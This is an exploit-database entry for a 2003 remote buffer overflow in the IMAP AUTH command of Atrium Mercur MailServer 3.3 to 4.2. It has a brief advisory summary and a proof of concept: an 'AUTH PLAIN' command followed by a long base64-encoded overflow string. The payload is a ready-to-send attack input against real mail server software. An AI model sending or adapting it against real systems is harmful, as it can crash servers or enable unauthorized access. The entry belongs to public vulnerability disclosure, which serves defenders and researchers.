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Atrium Software Mercur MailServer 3.3/4.0/4.2 - IMAP AUTH Remote Buffer Overflow

🗓️ 20 Oct 2003 00:00:00Reported by Kostya KORTCHINSKYType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Vulnerability in Mercur MailServer IMAP AUTH command could allow unauthorized access via buffer overflow.

Code
source: https://www.securityfocus.com/bid/8861/info

A problem has been reported in MERCUR Mailserver when handling the IMAP AUTH command. The issue occurs when an overly long command is submitted, which may be due to a buffer overrun. This problem may make it possible for an attacker to gain unauthorized access to a vulnerable system. 

On the IMAP port:

AUTH PLAIN
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ

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